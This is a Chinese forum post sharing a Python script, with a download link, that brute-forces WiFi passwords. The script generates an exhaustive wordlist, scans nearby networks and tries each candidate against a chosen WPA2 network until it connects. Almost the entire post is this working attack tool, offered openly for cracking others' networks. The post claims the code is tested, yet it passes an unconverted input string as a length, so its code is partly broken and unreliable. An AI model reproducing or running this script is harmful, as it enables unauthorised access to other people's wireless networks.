通過Python腳本實現窮舉獲取WiFi密碼
屏幕截圖 2021-02-10 092722.jpg (242.28 KB, 下載次數: 80)
下載附件
2021-2-10 09:27 上傳
- # -*- coding: utf-8 -*-
- import time
- import pywifi
- from pywifi import const
- import itertools as its
- maclist = []
- wificount=15
- def product_passwd(length):
- words = '1234567890abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ'
- r = its.product(words,repeat=length)
- dic = open('paswwer.txt','a')
-
- for i in r:
- dic.write(''.join(i))
- dic.write(''.join('\n'))
- print(i)
-
- dic.close()
- print('密碼本生成完畢!')
- product_passwd(input("請輸入要生成的密碼本密碼長度:"))
- def getwifi():
- wifi=pywifi.PyWiFi()
- ifaces=wifi.interfaces()[0]
- ifaces.scan()
- time.sleep(3)
- result = ifaces.scan_results()
- n=0
- print("%12s%20s%20s"%("【無線名稱】","【mac地址】","【信號強度】"))
- print("="*60)
- for data in result:
- if(data.bssid not in maclist):
- maclist.append(data.bssid)
- if n<=wificount:
- print("%14s%30s%15s"%(data.ssid,data.bssid,data.signal))
- n=n+1
- time.sleep(2)
- print("="*60)
- class PoJie():
- def __init__(self, path):
- self.file = open(path, "r", errors="ignore")
- wifi = pywifi.PyWiFi()
- self.iface = wifi.interfaces()[0]
- print("獲取到的無線網卡:")
- print(self.iface.name())
- self.iface.disconnect()
- time.sleep(1)
- assert self.iface.status() in [const.IFACE_DISCONNECTED, const.IFACE_INACTIVE]
- def readPassWord(self):
- print("開始破解:")
- while True:
- try:
- passStr = str(self.file.readline())
- print(" 正在嘗試:" + passStr)
- if not passStr:
- break
- bool1 = self.test_connect(passStr)
- if bool1:
- print("恭喜你,找到密碼! 正確密碼為:" + passStr)
- break
- else:
- print(" 密碼錯誤!\n","="*35)
- time.sleep(3)
- except:
- continue
- with open('result.txt','a+') as fw:
- fw.write('WiFi名稱:%s 密碼:%s'%(wifiname,passStr))
-
- def test_connect(self, findStr):
- profile = pywifi.Profile()
- profile.ssid = wifiname
- profile.auth = const.AUTH_ALG_OPEN
- profile.akm.append(const.AKM_TYPE_WPA2PSK)
- profile.cipher = const.CIPHER_TYPE_CCMP
- profile.key = findStr
- self.iface.remove_all_network_profiles()
- tmp_profile = self.iface.add_network_profile(profile)
- self.iface.connect(tmp_profile)
- time.sleep(3)
- if self.iface.status() == const.IFACE_CONNECTED:
- isOK = True
- else:
- isOK = False
- self.iface.disconnect()
- time.sleep(1)
- return isOK
-
-
- def __del__(self):
- self.file.close()
-
- getwifi()
- wifiname = input("請輸入要破解的WiFi名稱:") # wifi名稱)
- path = input('請輸入字典文件路徑:')
- #r"D://Data/Python/wifi/dictionary.txt"
- start = PoJie(path)
- start.readPassWord()
復制代碼 代碼已測試過,可正常運行
以上程序51hei下載地址:
wifi.zip
(5.76 KB, 下載次數: 60)
2021-2-10 09:29 上傳
點擊文件名下載附件
源代碼 下載積分: 黑幣 -5
|